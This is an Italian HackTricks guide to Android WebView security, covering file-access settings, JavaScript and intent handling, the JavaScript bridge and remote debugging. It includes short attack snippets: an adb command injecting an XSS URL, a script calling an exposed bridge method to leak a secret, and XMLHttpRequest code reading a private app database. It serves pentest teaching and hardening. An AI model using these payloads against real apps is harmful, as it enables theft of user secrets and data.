Webview Attacks

Support HackTricks

Guida alle Configurazioni e Sicurezza di WebView

Panoramica delle Vulnerabilità di WebView

Un aspetto critico dello sviluppo Android riguarda la corretta gestione delle WebView. Questa guida evidenzia le configurazioni chiave e le pratiche di sicurezza per mitigare i rischi associati all'uso delle WebView.

Accesso ai File in WebView

Per impostazione predefinita, le WebView consentono l'accesso ai file. Questa funzionalità è controllata dal metodo setAllowFileAccess(), disponibile dalla versione 3 dell'API Android (Cupcake 1.5). Le applicazioni con il permesso android.permission.READ_EXTERNAL_STORAGE possono leggere file dalla memoria esterna utilizzando uno schema URL di file (file://path/to/file).

Funzionalità Deprecate: Accesso Universale e Accesso ai File da URL

  • Accesso Universale da URL di File: Questa funzionalità deprecata consentiva richieste cross-origin da URL di file, ponendo un rischio significativo per la sicurezza a causa di potenziali attacchi XSS. L'impostazione predefinita è disabilitata (false) per le app destinate ad Android Jelly Bean e versioni successive.

  • Per controllare questa impostazione, utilizzare getAllowUniversalAccessFromFileURLs().

  • Per modificare questa impostazione, utilizzare setAllowUniversalAccessFromFileURLs(boolean).

  • Accesso ai File da URL di File: Questa funzionalità, anch'essa deprecata, controllava l'accesso ai contenuti da altri URL di schema file. Come l'accesso universale, la sua impostazione predefinita è disabilitata per una maggiore sicurezza.

  • Utilizzare getAllowFileAccessFromFileURLs() per controllare e setAllowFileAccessFromFileURLs(boolean) per impostare.

Caricamento Sicuro dei File

Per disabilitare l'accesso al file system pur accedendo a risorse e asset, si utilizza il metodo setAllowFileAccess(). Con Android R e versioni successive, l'impostazione predefinita è false.

  • Controllare con getAllowFileAccess().

  • Abilitare o disabilitare con setAllowFileAccess(boolean).

WebViewAssetLoader

La classe WebViewAssetLoader è l'approccio moderno per il caricamento di file locali. Utilizza URL http(s) per accedere ad asset e risorse locali, allineandosi con la politica Same-Origin, facilitando così la gestione del CORS.

loadUrl

Questa è una funzione comune utilizzata per caricare URL arbitrari in una webview:

webview.loadUrl("<url here>")

Ofc, un potenziale attaccante non dovrebbe mai essere in grado di controllare l'URL che un'applicazione sta per caricare.

Gestione di JavaScript e Intent Scheme

  • JavaScript: Disabilitato per impostazione predefinita nei WebView, può essere abilitato tramite setJavaScriptEnabled(). Si consiglia cautela poiché abilitare JavaScript senza le giuste protezioni può introdurre vulnerabilità di sicurezza.

  • Intent Scheme: I WebView possono gestire lo schema intent, potenzialmente portando a exploit se non gestito con attenzione. Un esempio di vulnerabilità riguardava un parametro WebView esposto "support_url" che poteva essere sfruttato per eseguire attacchi di cross-site scripting (XSS).

Esempio di sfruttamento utilizzando adb:

adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView –es support_url "https://example.com/xss.html"

Javascript Bridge

Una funzionalità è fornita da Android che consente a JavaScript in un WebView di invocare funzioni native delle app Android. Questo viene realizzato utilizzando il metodo addJavascriptInterface, che integra JavaScript con le funzionalità native di Android, definito come un WebView JavaScript bridge. Si consiglia cautela poiché questo metodo consente a tutte le pagine all'interno del WebView di accedere all'oggetto JavaScript Interface registrato, presentando un rischio per la sicurezza se informazioni sensibili vengono esposte attraverso queste interfacce.

  • È necessaria un'estrema cautela per le app destinate a versioni di Android inferiori alla 4.2 a causa di una vulnerabilità che consente l'esecuzione di codice remoto tramite JavaScript malevolo, sfruttando la riflessione.

Implementing a JavaScript Bridge

  • Le interfacce JavaScript possono interagire con il codice nativo, come mostrato negli esempi in cui un metodo di classe è esposto a JavaScript:

@JavascriptInterface
public String getSecret() {
return "SuperSecretPassword";
};
  • Il JavaScript Bridge è abilitato aggiungendo un'interfaccia al WebView:

webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge");
webView.reload();
  • Potenziale sfruttamento tramite JavaScript, ad esempio, tramite un attacco XSS, consente la chiamata di metodi Java esposti:

<script>alert(javascriptBridge.getSecret());</script>
  • Per mitigare i rischi, limitare l'uso del ponte JavaScript al codice fornito con l'APK e impedire il caricamento di JavaScript da fonti remote. Per i dispositivi più vecchi, impostare il livello API minimo a 17.

Esecuzione Remota di Codice Basata su Riflesso (RCE)

  • Un metodo documentato consente di ottenere RCE tramite riflesso eseguendo un payload specifico. Tuttavia, l'annotazione @JavascriptInterface impedisce l'accesso non autorizzato ai metodi, limitando la superficie di attacco.

Debug Remoto

  • Il debug remoto è possibile con Chrome Developer Tools, consentendo interazione ed esecuzione arbitraria di JavaScript all'interno del contenuto WebView.

Abilitare il Debug Remoto

  • Il debug remoto può essere abilitato per tutti i WebView all'interno di un'applicazione tramite:

if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
WebView.setWebContentsDebuggingEnabled(true);
}
  • Per abilitare il debug in modo condizionale in base allo stato debuggable dell'applicazione:

if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
{ WebView.setWebContentsDebuggingEnabled(true); }
}

Esfiltrare file arbitrari

  • Dimostra l'esfiltrazione di file arbitrari utilizzando un XMLHttpRequest:

var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
alert(xhr.responseText);
}
}
xhr.open('GET', 'file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db', true);
xhr.send(null);

Riferimenti

Supporta HackTricks

Last updated